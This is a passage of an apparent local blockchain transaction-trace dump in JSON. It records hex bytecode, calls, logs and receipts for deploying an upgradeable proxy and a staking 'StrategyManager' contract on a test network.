01527f455243313936373a206e65772061646d696e20697320746865207a65726f206160448201526564647265737360d01b60648201526084016102ba565b807fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d61035b80546001600160a01b0319166001600160a01b039290921691909117905550565b6001600160a01b0381163b61054d5760405162461bcd60e51b815260206004820152602d60248201527f455243313936373a206e657720696d706c656d656e746174696f6e206973206e60448201526c1bdd08184818dbdb9d1c9858dd609a1b60648201526084016102ba565b807f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc6104bf565b60606001600160a01b0384163b6105dc5760405162461bcd60e51b815260206004820152602660248201527f416464726573733a2064656c65676174652063616c6c20746f206e6f6e2d636f6044820152651b9d1c9858dd60d21b60648201526084016102ba565b600080856001600160a01b0316856040516105f79190610768565b600060405180830381855af49150503d8060008114610632576040519150601f19603f3d011682016040523d82523d6000602084013e610637565b606091505b5091509150610647828286610651565b9695505050505050565b60608315610660575081610430565b8251156106705782518084602001fd5b8160405162461bcd60e51b81526004016102ba9190610784565b80356001600160a01b03811681146106a157600080fd5b919050565b6000602082840312156106b857600080fd5b6104308261068a565b6000806000604084860312156106d657600080fd5b6106df8461068a565b9250602084013567ffffffffffffffff808211156106fc57600080fd5b818601915086601f83011261071057600080fd5b81358181111561071f57600080fd5b87602082850101111561073157600080fd5b6020830194508093505050509250925092565b60005b8381101561075f578181015183820152602001610747565b50506000910152565b6000825161077a818460208701610744565b9190910192915050565b60208152600082518060208401526107a3816040850160208701610744565b601f01601f1916919091016040019291505056fe416464726573733a206c6f772d6c6576656c2064656c65676174652063616c6c206661696c6564a26469706673582212206f42262012bb1d1a07475f68d95d58d18353d78d57c71d0a11845bbf297d596564736f6c63430008180033","gas_used":464703,"gas_limit":636293,"status":"Return","steps":[],"decoded":{"label":null,"return_data":null,"call_data":null}},"logs":[{"raw_log":{"topics":["0xbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b","0x0000000000000000000000009fe46736679d2d9a65f0992f2272de9f3c7fa6e0"],"data":"0x"},"decoded":{"name":null,"params":null},"position":0},{"raw_log":{"topics":["0x7e644d79422f17c01e4894b5f4f588d331ebfa28653d42ae832dc59e38c9798f"],"data":"0x00000000000000000000000000000000000000000000000000000000000000000000000000000000000000009e545e3c0baab3e08cdfd552c960a1050f373042"},"decoded":{"name":null,"params":null},"position":0}],"ordering":[{"Log":0},{"Log":1}]}],"exit":"Return","out":"0x60806040526004361061004e5760003560e01c80633659cfe6146100655780634f1ef286146100855780635c60da1b146100985780638f283970146100c9578063f851a440146100e95761005d565b3661005d5761005b6100fe565b005b61005b6100fe565b34801561007157600080fd5b5061005b6100803660046106a6565b610118565b61005b6100933660046106c1565b610155565b3480156100a457600080fd5b506100ad6101bc565b6040516001600160a01b03909116815260200160405180910390f35b3480156100d557600080fd5b5061005b6100e43660046106a6565b6101ed565b3480156100f557600080fd5b506100ad61020d565b61010661022e565b6101166101116102c3565b6102cd565b565b6101206102f1565b6001600160a01b0316330361014d5761014a81604051806020016040528060008152506000610324565b50565b61014a6100fe565b61015d6102f1565b6001600160a01b031633036101b4576101af8383838080601f01602080910402602001604051908101604052809392919081815260200183838082843760009201919091525060019250610324915050565b505050565b6101af6100fe565b60006101c66102f1565b6001600160a01b031633036101e2576101dd6102c3565b905090565b6101ea6100fe565b90565b6101f56102f1565b6001600160a01b0316330361014d5761014a8161034f565b60006102176102f1565b6001600160a01b031633036101e2576101dd6102f1565b6102366102f1565b6001600160a01b031633036101165760405162461bcd60e51b815260206004820152604260248201527f5472616e73706172656e745570677261646561626c6550726f78793a2061646d60448201527f696e2063616e6e6f742066616c6c6261636b20746f2070726f78792074617267606482015261195d60f21b608482015260a4015b60405180910390fd5b60006101dd6103a3565b3660008037600080366000845af43d6000803e8080156102ec573d6000f35b3d6000fd5b60007fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d61035b546001600160a01b0316919050565b61032d836103cb565b60008251118061033a5750805b156101af57610349838361040b565b50505050565b7f7e644d79422f17c01e4894b5f4f588d331ebfa28653d42ae832dc59e38c9798f6103786102f1565b604080516001600160a01b03928316815291841660208301520160405180910390a161014a81610437565b60007f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc610315565b6103d4816104e0565b6040516001600160a01b038216907fbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b90600090a250565b606061043083836040518060600160405280602781526020016107b860279139610574565b9392505050565b6001600160a01b03811661049c5760405162461bcd60e51b815260206004820152602660248201527f455243313936373a206e65772061646d696e20697320746865207a65726f206160448201526564647265737360d01b60648201526084016102ba565b807fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d61035b80546001600160a01b0319166001600160a01b039290921691909117905550565b6001600160a01b0381163b61054d5760405162461bcd60e51b815260206004820152602d60248201527f455243313936373a206e657720696d706c656d656e746174696f6e206973206e60448201526c1bdd08184818dbdb9d1c9858dd609a1b60648201526084016102ba565b807f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc6104bf565b60606001600160a01b0384163b6105dc5760405162461bcd60e51b815260206004820152602660248201527f416464726573733a2064656c65676174652063616c6c20746f206e6f6e2d636f6044820152651b9d1c9858dd60d21b60648201526084016102ba565b600080856001600160a01b0316856040516105f79190610768565b600060405180830381855af49150503d8060008114610632576040519150601f19603f3d011682016040523d82523d6000602084013e610637565b606091505b5091509150610647828286610651565b9695505050505050565b60608315610660575081610430565b8251156106705782518084602001fd5b8160405162461bcd60e51b81526004016102ba9190610784565b80356001600160a01b03811681146106a157600080fd5b919050565b6000602082840312156106b857600080fd5b6104308261068a565b6000806000604084860312156106d657600080fd5b6106df8461068a565b9250602084013567ffffffffffffffff808211156106fc57600080fd5b818601915086601f83011261071057600080fd5b81358181111561071f57600080fd5b87602082850101111561073157600080fd5b6020830194508093505050509250925092565b60005b8381101561075f578181015183820152602001610747565b50506000910152565b6000825161077a818460208701610744565b9190910192915050565b60208152600082518060208401526107a3816040850160208701610744565b601f01601f1916919091016040019291505056fe416464726573733a206c6f772d6c6576656c2064656c65676174652063616c6c206661696c6564a26469706673582212206f42262012bb1d1a07475f68d95d58d18353d78d57c71d0a11845bbf297d596564736f6c63430008180033","nonce":36,"gas_used":572955},"receipt":{"type":"0x2","status":"0x1","cumulativeGasUsed":"0x8be1b","logs":[{"address":"0x851356ae760d987e095750cceb3bc6014560891c","topics":["0xbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b","0x0000000000000000000000009fe46736679d2d9a65f0992f2272de9f3c7fa6e0"],"data":"0x"},{"address":"0x851356ae760d987e095750cceb3bc6014560891c","topics":["0x7e644d79422f17c01e4894b5f4f588d331ebfa28653d42ae832dc59e38c9798f"],"data":"0x00000000000000000000000000000000000000000000000000000000000000000000000000000000000000009e545e3c0baab3e08cdfd552c960a1050f373042"}],"logsBloom":"0x00000000000000000000000000000000400400000000000000000000000000000000000000000000000400000000000000400000000000000000000000000000000000000000000000000000000002000000000000000010000000000000400000000000000000000000000000000020000000800000000000000000000000000000000000000000000000000000000000000000000000000000000000800000000000000000000000000000000000000000000000000000000000000000000000000020000000000000000000000000000000000400000000000000000000000000000000000000000000000000000000000000000000000000000000000000"},"block_hash":"0x5fac8228546f498fe901ede66acb349153e231371a5feb7c0d642221349c4854","block_number":4},{"info":{"transaction_hash":"0x827ffa4ca4cea822e05fb27b290eee847860bb15431bdace00adf814eaed3bac","transaction_index":0,"from":"0xf39fd6e51aad88f6f4ce6ab8827279cfffb92266","to":"0x9e545e3c0baab3e08cdfd552c960a1050f373042","contract_address":null,"traces":[{"parent":null,"children":[1],"idx":0,"trace":{"depth":0,"success":true,"caller":"0xf39fd6e51aad88f6f4ce6ab8827279cfffb92266","address":"0x9e545e3c0baab3e08cdfd552c960a1050f373042","maybe_precompile":null,"selfdestruct_address":null,"selfdestruct_refund_target":null,"selfdestruct_transferred_value":null,"kind":"CALL","value":"0x0","data":"0x99a88ec400000000000000000000000095401dc811bb5740090279ba06cfa8fcf61137780000000000000000000000004826533b4897376654bb4d4ad88b7fafd0c98528","output":"0x","gas_used":17021,"gas_limit":31821,"status":"Stop","steps":[],"decoded":{"label":null,"return_data":null,"call_data":null}},"logs":[],"ordering":[{"Call":0}]},{"parent":0,"children":[],"idx":1,"trace":{"depth":1,"success":true,"caller":"0x9e545e3c0baab3e08cdfd552c960a1050f373042","address":"0x95401dc811bb5740090279ba06cfa8fcf6113778","maybe_precompile":null,"selfdestruct_address":null,"selfdestruct_refund_target":null,"selfdestruct_transferred_value":null,"kind":"CALL","value":"0x0","data":"0x3659cfe60000000000000000000000004826533b4897376654bb4d4ad88b7fafd0c98528","output":"0x","gas_used":11547,"gas_limit":25979,"status":"Stop","steps":[],"decoded":{"label":null,"return_data":null,"call_data":null}},"logs":[{"raw_log":{"topics":["0xbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b","0x0000000000000000000000004826533b4897376654bb4d4ad88b7fafd0c98528"],"data":"0x"},"decoded":{"name":null,"params":null},"position":0}],"ordering":[{"Log":0}]}],"exit":"Stop","out":"0x","nonce":42,"gas_used":38821},"receipt":{"type":"0x2","status":"0x1","cumulativeGasUsed":"0x97a5","logs":[{"address":"0x95401dc811bb5740090279ba06cfa8fcf6113778","topics":["0xbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b","0x0000000000000000000000004826533b4897376654bb4d4ad88b7fafd0c98528"],"data":"0x"}],"logsBloom":"0x00000000000000000000000000000000400000000000000000000000020000000000000000000000000000000000000000000200000000000000000000000000000000000000000000000000000002000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000100000000000000000000000400000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000020000000000000000000000000000000000000000000000000000000000000000000000000080000008000000000000000000000000000000000000000"},"block_hash":"0x0234696ca8d0118ce8a159baa9c7222af0ce3bed60039f7144819b3787e33bac","block_number":7},{"info":{"transaction_hash":"0x8fe2e7953d994e666b6891e094bbc314982ee6e160781be5861cc3cb63fbed4e","transaction_index":1,"from":"0xf39fd6e51aad88f6f4ce6ab8827279cfffb92266","to":null,"contract_address":"0x0dcd1bf9a1b36ce34237eeafef220932846bcd82","traces":[{"parent":null,"children":[],"idx":0,"trace":{"depth":0,"success":true,"caller":"0xf39fd6e51aad88f6f4ce6ab8827279cfffb92266","address":"0x0dcd1bf9a1b36ce34237eeafef220932846bcd82","maybe_precompile":false,"selfdestruct_address":null,"selfdestruct_refund_target":null,"selfdestruct_transferred_value":null,"kind":"CREATE","value":"0x0","data":"0x61010060405234801561001157600080fd5b5060405161337a38038061337a83398101604081905261003091610135565b6001600160a01b0380841660805280831660a052811660c05261005161005d565b50504660e05250610182565b600054610100900460ff16156100c95760405162461bcd60e51b815260206004820152602760248201527f496e697469616c697a61626c653a20636f6e747261637420697320696e697469604482015266616c697a696e6760c81b606482015260840160405180910390fd5b60005460ff908116101561011b576000805460ff191660ff9081179091556040519081527f7f26b83ff96e1f2b6a682f133852f6798a09c465da95921460cefb38474024989060200160405180910390a15b565b6001600160a01b038116811461013257600080fd5b50565b60008060006060848603121561014a57600080fd5b83516101558161011d565b60208501519093506101668161011d565b60408501519092506101778161011d565b809150509250925092565b60805160a05160c05160e0516131a36101d760003960006114b70152600061046e0152600061028501526000818161051a01528181610b8201528181610ecf01528181610f230152611a6c01526131a36000f3fe608060405234801561001057600080fd5b50600436106102065760003560e01c80638da5cb5b1161011a578063c6656702116100ad578063df5cf7231161007c578063df5cf72314610515578063e7a050aa1461053c578063f2fde38b1461054f578063f698da2514610562578063fabc1cbc1461056a57600080fd5b8063c6656702146104c9578063cbc2bd62146104dc578063cf756fdf146104ef578063df5b35471461050257600080fd5b8063b1344271116100e9578063b134427114610469578063b5d8b5b814610490578063c4623ea1146104a3578063c608c7f3146104b657600080fd5b80638da5cb5b1461040157806394f649dd14610412578063967fc0d2146104335780639b4da03d1461044657600080fd5b80635ac86ab71161019d5780637a7e0d921161016c5780637a7e0d92146103675780637ecebe0014610392578063886f1195146103b25780638b8aac3c146103c55780638c80d4e5146103ee57600080fd5b80635ac86ab7146103015780635c975abb14610334578063663c1de41461033c578063715018a61461035f57600080fd5b80634665bcda116101d95780634665bcda1461028057806348825e94146102bf5780634e5a4263146102e6578063595c6a67146102f957600080fd5b806310d67a2f1461020b578063136439dd1461022057806320606b701461023357806332e89ace1461026d575b600080fd5b61021e6102193660046129e8565b61057d565b005b61021e61022e366004612a05565b610639565b61025a7f8cad95687ba82c2ce50e74f7b754645e5117c3a5bec8151c0726d5857980a86681565b6040519081526020015b60405180910390f35b61025a61027b366004612a34565b610778565b6102a77f000000000000000000000000000000000000000000000000000000000000000081565b6040516001600160a01b039091168152602001610264565b61025a7f4337f82d142e41f2a8c10547cd8c859bddb92262a61058e77842e24d9dea922481565b61021e6102f4366004612b45565b610a64565b61021e610a9c565b61032461030f366004612b7e565b609854600160ff9092169190911b9081161490565b6040519015158152602001610264565b60985461025a565b61032461034a3660046129e8565b60d16020526000908152604090205460ff1681565b61021e610b63565b61025a610375366004612ba1565b60cd60209081526000928352604080842090915290825290205481565b61025a6103a03660046129e8565b60ca6020526000908152604090205481565b6097546102a7906001600160a01b031681565b61025a6103d33660046129e8565b6001600160a01b0316600090815260ce602052604090205490565b61021e6103fc366004612bcf565b610b77565b6033546001600160a01b03166102a7565b6104256104203660046129e8565b610bd0565b604051610264929190612c10565b60cb546102a7906001600160a01b031681565b6103246104543660046129e8565b60d36020526000908152604090205460ff1681565b6102a77f000000000000000000000000000000000000000000000000000000000000000081565b61021e61049e366004612ce0565b610d50565b61021e6104b1366004612d22565b610ec4565b61021e6104c4366004612d73565b610f18565b61021e6104d73660046129e8565b610fd0565b6102a76104ea366004612dc6565b610fe1565b61021e6104fd366004612d22565b611019565b61021e610510366004612df2565b61114d565b6102a77f000000000000000000000000000000000000000000000000000000000000000081565b61025a61054a366004612bcf565b611376565b61021e61055d3660046129e8565b61143d565b61025a6114b3565b61021e610578366004612a05565b6114f0565b609760009054906101000a90046001600160a01b03166001600160a01b031663eab66d7a6040518163ffffffff1660e01b8152600401602060405180830381865afa1580156105d0573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906105f49190612e63565b6001600160a01b0316336001600160a01b03161461062d5760405162461bcd60e51b815260040161062490612e80565b60405180910390fd5b6106368161164c565b50565b60975460405163237dfb4760e11b81523360048201526001600160a01b03909116906346fbf68e90602401602060405180830381865afa158015610681573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106a59190612eca565b6106c15760405162461bcd60e51b815260040161062490612ee7565b6098548181161461073a5760405162461bcd60e51b815260206004820152603860248201527f5061757361626c652e70617573653a20696e76616c696420617474656d70742060448201527f746f20756e70617573652066756e6374696f6e616c69747900000000000000006064820152608401610624565b609881905560405181815233907fab40a374bc51de372200a8bc981af8c9ecdc08dfdaef0bb6e09f88f3c616ef3d906020015b60405180910390a250565b60985460009081906001908116036107ce5760405162461bcd60e51b815260206004820152601960248201527814185d5cd8589b194e881a5b99195e081a5cc81c185d5cd959603a1b6044820152606401610624565b6002606554036108205760405162461bcd60e51b815260206004820152601f60248201527f5265656e7472616e637947756172643a207265656e7472616e742063616c6c006044820152606401610624565b60026065556001600160a01b038816600090815260d3602052604090205460ff16156108c75760405162461bcd60e51b815260206004820152604a60248201527f53747261746567794d616e616765722e6465706f736974496e746f537472617460448201527f656779576974685369676e61747572653a207468697264207472616e736665726064820152691cc8191a5cd8589b195960b21b608482015260a401610624565b428410156109495760405162461bcd60e51b815260206004820152604360248201527f53747261746567794d616e616765722e6465706f736974496e746f537472617460448201527f656779576974685369676e61747572653a207369676e617475726520657870696064820152621c995960ea1b608482015260a401610624565b6001600160a01b03858116600081815260ca602090815260408083205481517f4337f82d142e41f2a8c10547cd8c859bddb92262a61058e77842e24d9dea922493810193909352908201939093528b84166060820152928a16608084015260a0830189905260c0830182905260e0830187905290916101000160408051601f1981840301815291815281516020928301206001600160a01b038a16600090815260ca9093529082206001850190559150610a016114b3565b60405161190160f01b6020820152602281019190915260428101839052606201604051602081830303815290604052805190602001209050610a44888288611743565b610a50888c8c8c611902565b60016065559b9a5050505050505050505050565b60cb546001600160a01b03163314610a8e5760405162461bcd60e51b815260040161062490612f2f565b610a988282611ad1565b5050565b60975460405163237dfb4760e11b81523360048201526001600160a01b03909116906346fbf68e90602401602060405180830381865afa158015610ae4573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b089190612eca565b610b245760405162461bcd60e51b815260040161062490612ee7565b600019609881905560405190815233907fab40a374bc51de372200a8bc981af8c9ecdc08dfdaef0bb6e09f88f3c616ef3d9060200160405180910390a2565b610b6b611b3f565b610b756000611b99565b565b336001600160a01b037f00000000000000000000000000000000000000000000000000000000000000001614610bbf5760405162461bcd60e51b815260040161062490612f99565b610bca838383611beb565b50505050565b6001600160a01b038116600090815260ce60205260408120546060918291908167ffffffffffffffff811115610c0857610c08612a1e565b604051908082528060200260200182016040528015610c31578160200160208202803683370190505b50905060005b82811015610cc2576001600160a01b038616600090815260cd6020908152604080832060ce9092528220805491929184908110610c7657610c76612ff7565b60009182526020808320909101546001600160a01b031683528201929092526040019020548251839083908110610caf57610caf612ff7565b6020908102919091010152600101610c37565b5060ce6000866001600160a01b03166001600160a01b031681526020019081526020016000208181805480602002602001604051908101604052809291908181526020018280548015610d3e57602002820191906000526020600020905b81546001600160a01b03168152600190910190602001808311610d20575b50505050509150935093505050915091565b60cb546001600160a01b03163314610d7a5760405162461bcd60e51b815260040161062490612f2f565b8060005b81811015610bca5760d16000858584818110610d9c57610d9c612ff7565b9050602002016020810190610db191906129e8565b6001600160a01b0316815260208101919091526040016000205460ff1615610ebc57600060d16000868685818110610deb57610deb612ff7565b9050602002016020810190610e0091906129e8565b6001600160a01b031681526020810191909152604001600020805460ff19169115159190911790557f4074413b4b443e4e58019f2855a8765113358c7c72e39509c6af45fc0f5ba030848483818110610e5b57610e5b612ff7565b9050602002016020810190610e7091906129e8565b6040516001600160a01b03909116815260200160405180910390a1610ebc848483818110610ea057610ea0612ff7565b9050602002016020810190610eb591906129e8565b6000611ad1565b600101610d7e565b336001600160a01b037f00000000000000000000000000000000000000000000000000000000000000001614610f0c5760405162461bcd60e51b815260040161062490612f99565b610bca84848484611d4c565b336001600160a01b037f00000000000000000000000000000000000000000000000000000000000000001614610f605760405162461bcd60e51b815260040161062490612f99565b604051636ce5768960e11b81526001600160a01b03858116600483015282811660248301526044820184905284169063d9caed1290606401600060405180830381600087803b158015610fb257600080fd5b505af1158015610fc6573d6000803e3d6000fd5b5050505050505050565b610fd8611b3f565b61063681611fe0565b60ce6020528160005260406000208181548110610ffd57600080fd5b6000918252602090912001546001600160a01b03169150829050565b600054610100900460ff16158080156110395750600054600160ff909116105b806110535750303b158015611053575060005460ff166001145b6110b65760405162461bcd60e51b815260206004820152602e60248201527f496e697469616c697a61626c653a20636f6e747261637420697320616c72656160448201526d191e481a5b9a5d1a585b1a5e995960921b6064820152608401610624565b6000805460ff1916600117905580156110d9576000805461ff0019166101001790555b6110e1612049565b60c9556110ee83836120e0565b6110f785611b99565b61110084611fe0565b8015611146576000805461ff0019169055604051600181527f7f26b83ff96e1f2b6a682f133852f6798a09c465da95921460cefb38474024989060200160405180910390a15b5050505050565b60cb546001600160a01b031633146111775760405162461bcd60e51b815260040161062490612f2f565b8281146112005760405162461bcd60e51b815260206004820152604b60248201527f53747261746567794d616e616765722e61646453747261746567696573546f4460448201527f65706f73697457686974656c6973743a206172726179206c656e67746873206460648201526a0de40dcdee840dac2e8c6d60ab1b608482015260a401610624565b8260005b8181101561136e5760d1600087878481811061122257611222612ff7565b905060200201602081019061123791906129e8565b6001600160a01b0316815260208101919091526040016000205460ff1661136657600160d1600088888581811061127057611270612ff7565b905060200201602081019061128591906129e8565b6001600160a01b031681526020810191909152604001600020805460ff19169115159190911790557f0c35b17d91c96eb2751cd456e1252f42a386e524ef9ff26ecc9950859fdc04fe8686838181106112e0576112e0612ff7565b90506020020160208101906112f591906129e8565b6040516001600160a01b03909116815260200160405180910390a161136686868381811061132557611325612ff7565b905060200201602081019061133a91906129e8565b85858481811061134c5761134c612ff7565b9050602002016020810190611361919061300d565b611ad1565b600101611204565b505050505050565b60985460009081906001908116036113cc5760405162461bcd60e51b815260206004820152601960248201527814185d5cd8589b194e881a5b99195e081a5cc81c185d5cd959603a1b6044820152606401610624565b60026065540361141e5760405162461bcd60e51b815260206004820152601f60248201527f5265656e7472616e637947756172643a207265656e7472616e742063616c6c006044820152606401610624565b600260655561142f33868686611902565b600160655595945050505050565b611445611b3f565b6001600160a01b0381166114aa5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610624565b61063681611b99565b60007f000000000000000000000000000000000000000000000000000000000000000046036114e3575060c95490565b6114eb612049565b905090565b609760009054906101000a90046001600160a01b03166001600160a01b031663eab66d7a6040518163ffffffff1660e01b8152600401602060405180830381865afa158015611543573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906115679190612e63565b6001600160a01b0316336001600160a01b0316146115975760405162461bcd60e51b815260040161062490612e80565b6098541981196098541916146116155760405162461bcd60e51b815260206004820152603860248201527f5061757361626c652e756e70617573653a20696e76616c696420617474656d7060448201527f7420746f2070617573652066756e6374696f6e616c69747900000000000000006064820152608401610624565b609881905560405181815233907f3582d1828e26bf56bd801502bc021ac0bc8afb57c826e4986b45593c8fad389c9060200161076d565b6001600160a01b0381166116da5760405162461bcd60e51b815260206004820152604960248201527f5061757361626c652e5f73657450617573657252656769737472793a206e657760448201527f50617573657252656769737472792063616e6e6f7420626520746865207a65726064820152686f206164647265737360b81b608482015260a401610624565b609754604080516001600160a01b03928316815291831660208301527f6e9fcd539896fca60e8b0f01dd580233e48a6b0f7df013b89ba7f565869acdb6910160405180910390a1609780546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b0383163b1561186257604051630b135d3f60e11b808252906001600160a01b03851690631626ba7e90611783908690869060040161307a565b602060405180830381865afa1580156117a0573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906117c49190613093565b6001600160e01b0319161461185d5760405162461bcd60e51b815260206004820152605360248201527f454950313237315369676e61747572655574696c732e636865636b5369676e6160448201527f747572655f454950313237313a2045524331323731207369676e6174757265206064820152721d995c9a599a58d85d1a5bdb8819985a5b1959606a1b608482015260a401610624565b505050565b826001600160a01b031661187683836121c6565b6001600160a01b03161461185d5760405162461bcd60e51b815260206004820152604760248201527f454950313237315369676e61747572655574696c732e636865636b5369676e6160448201527f747572655f454950313237313a207369676e6174757265206e6f742066726f6d6064820152661039b4b3b732b960c91b608482015260a401610624565b6001600160a01b038316600090815260d16020526040812054849060ff166119a85760405162461bcd60e51b815260206004820152604d60248201527f53747261746567794d616e616765722e6f6e6c7953747261746567696573576860448201527f6974656c6973746564466f724465706f7369743a207374726174656779206e6f60648201526c1d081dda1a5d195b1a5cdd1959609a1b608482015260a401610624565b6119bd6001600160a01b0385163387866121ec565b6040516311f9fbc960e21b81526001600160a01b038581166004830152602482018590528616906347e7ef24906044016020604051808303816000875af1158015611a0c573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611a3091906130bd565b9150611a3e86858785611d4c565b604051631452b9d760e11b81526001600160a01b0387811660048301528681166024830152604482018490527f000000000000000000000000000000000000000000000000000000000000000016906328a573ae90606401600060405180830381600087803b158015611ab057600080fd5b505af1158015611ac4573d6000803e3d6000fd5b5050505050949350505050565b604080516001600160a01b038416815282151560208201527f77d930df4937793473a95024d87a98fd2ccb9e92d3c2463b3dacd65d3e6a5786910160405180910390a16001600160a01b0391909116600090815260d360205260409020805460ff1916911515919091179055565b6033546001600160a01b03163314610b755760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610624565b603380546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b600081600003611c635760405162461bcd60e51b815260206004820152603e60248201527f53747261746567794d616e616765722e5f72656d6f76655368617265733a207360448201527f68617265416d6f756e742073686f756c64206e6f74206265207a65726f2100006064820152608401610624565b6001600160a01b03808516600090815260cd602090815260408083209387168352929052205480831115611cf55760405162461bcd60e51b815260206004820152603360248201527f53747261746567794d616e616765722e5f72656d6f76655368617265733a20736044820152720d0c2e4ca82dadeeadce840e8dede40d0d2ced606b1b6064820152608401610624565b6001600160a01b03808616600090815260cd6020908152604080832093881683529290529081209184900391829055819003611d3f57611d358585612246565b6001915050611d45565b60009150505b9392505050565b6001600160a01b038416611dc85760405162461bcd60e51b815260206004820152603960248201527f53747261746567794d616e616765722e5f6164645368617265733a207374616b60448201527f65722063616e6e6f74206265207a65726f2061646472657373000000000000006064820152608401610624565b80600003611e375760405162461bcd60e51b815260206004820152603660248201527f53747261746567794d616e616765722e5f6164645368617265733a207368617260448201527565732073686f756c64206e6f74206265207a65726f2160501b6064820152608401610624565b6001600160a01b03808516600090815260cd602090815260408083209386168352929052908120549003611f4c576001600160a01b038416600090815260ce602090815260409091205410611f0d5760405162461bcd60e51b815260206004820152605060248201527f53747261746567794d616e616765722e5f6164645368617265733a206465706f60448201527f73697420776f756c6420657863656564204d41585f5354414b45525f5354524160648201526f0a88a8eb2be9892a6a8be988a9c8ea8960831b608482015260a401610624565b6001600160a01b03848116600090815260ce602090815260408220805460018101825590835291200180546001600160a01b0319169184169190911790555b6001600160a01b03808516600090815260cd6020908152604080832093861683529290529081208054839290611f839084906130ec565b9091555050604080516001600160a01b03868116825285811660208301528416818301526060810183905290517f7cfff908a4b583f36430b25d75964c458d8ede8a99bd61be750e97ee1b2f3a969181900360800190a150505050565b60cb54604080516001600160a01b03928316815291831660208301527f4264275e593955ff9d6146a51a4525f6ddace2e81db9391abcc9d1ca48047d29910160405180910390a160cb80546001600160a01b0319166001600160a01b0392909216919091179055565b604080518082018252600a81526922b4b3b2b72630bcb2b960b11b60209182015281517f8cad95687ba82c2ce50e74f7b754645e5117c3a5bec8151c0726d5857980a866818301527f71b625cfad44bac63b13dba07f2e1d6084ee04b6f8752101ece6126d584ee6ea81840152466060820152306080808301919091528351808303909101815260a0909101909252815191012090565b6097546001600160a01b031615801561210157506001600160a01b03821615155b6121835760405162461bcd60e51b815260206004820152604760248201527f5061757361626c652e5f696e697469616c697a655061757365723a205f696e6960448201527f7469616c697a6550617573657228292063616e206f6e6c792062652063616c6c6064820152666564206f6e636560c81b608482015260a401610624565b609881905560405181815233907fab40a374bc51de372200a8bc981af8c9ecdc08dfdaef0bb6e09f88f3c616ef3d9060200160405180910390a2610a988261164c565b60008060006121d58585612436565b915091506121e2816124a4565b5090505b92915050565b604080516001600160a01b0385811660248301528416604482015260648082018490528251808303909101815260849091019091526020810180516001600160e01b03166323b872dd60e01b179052610bca90859061265a565b6001600160a01b038216600090815260ce6020526040812054905b81811015612360576001600160a01b03848116600090815260ce602052604090208054918516918390811061229857612298612ff7565b6000918252602090912001546001600160a01b031603612358576001600160a01b038416600090815260ce6020526040902080546122d8906001906130ff565b815481106122e8576122e8612ff7565b60009182526020808320909101546001600160a01b03878116845260ce909252604090922080549190921691908390811061232557612325612ff7565b9060005260206000200160006101000a8154816001600160a01b0302191690836001600160a01b03160217905550612360565b600101612261565b8181036123e75760405162461bcd60e51b815260206004820152604960248201527f53747261746567794d616e616765722e5f72656d6f766553747261746567794660448201527f726f6d5374616b657253747261746567794c6973743a207374726174656779206064820152681b9bdd08199bdd5b9960ba1b608482015260a401610624565b6001600160a01b038416600090815260ce6020526040902080548061240e5761240e613112565b600082815260209020810160001990810180546001600160a01b031916905501905550505050565b600080825160410361246c5760208301516040840151606085015160001a6124608782858561272c565b9450945050505061249d565b8251604003612495576020830151604084015161248a868383612819565b93509350505061249d565b506000905060025b9250929050565b60008160048111156124b8576124b8613128565b036124c05750565b60018160048111156124d4576124d4613128565b036125215760405162461bcd60e51b815260206004820152601860248201527f45434453413a20696e76616c6964207369676e617475726500000000000000006044820152606401610624565b600281600481111561253557612535613128565b036125825760405162461bcd60e51b815260206004820152601f60248201527f45434453413a20696e76616c6964207369676e6174757265206c656e677468006044820152606401610624565b600381600481111561259657612596613128565b036125ee5760405162461bcd60e51b815260206004820152602260248201527f45434453413a20696e76616c6964207369676e6174757265202773272076616c604482015261756560f01b6064820152608401610624565b600481600481111561260257612602613128565b036106365760405162461bcd60e51b815260206004820152602260248201527f45434453413a20696e76616c6964207369676e6174757265202776272076616c604482015261756560f01b6064820152608401610624565b60006126af826040518060400160405280602081526020017f5361666545524332303a206c6f772d6c6576656c2063616c6c206661696c6564815250856001600160a01b03166128529092919063ffffffff16565b80519091501561185d57808060200190518101906126cd9190612eca565b61185d5760405162461bcd60e51b815260206004820152602a60248201527f5361666545524332303a204552433230206f7065726174696f6e20646964206e6044820152691bdd081cdd58d8d9595960b21b6064820152608401610624565b6000807f7fffffffffffffffffffffffffffffff5d576e7357a4501ddfe92f46681b20a08311156127635750600090506003612810565b8460ff16601b1415801561277b57508460ff16601c14155b1561278c5750600090506004612810565b6040805160008082526020820180845289905260ff881692820192909252606081018690526080810185905260019060a0016020604051602081039080840390855afa1580156127e0573d6000803e3d6000fd5b5050604051601f1901519150506001600160a01b03811661280957600060019250925050612810565b9150600090505b94509492505050565b6000806001600160ff1b0383168161283660ff86901c601b6130ec565b90506128448782888561272c565b935093505050935093915050565b60606128618484600085612869565b949350505050565b6060824710156128ca5760405162461bcd60e51b81526020600482015260266024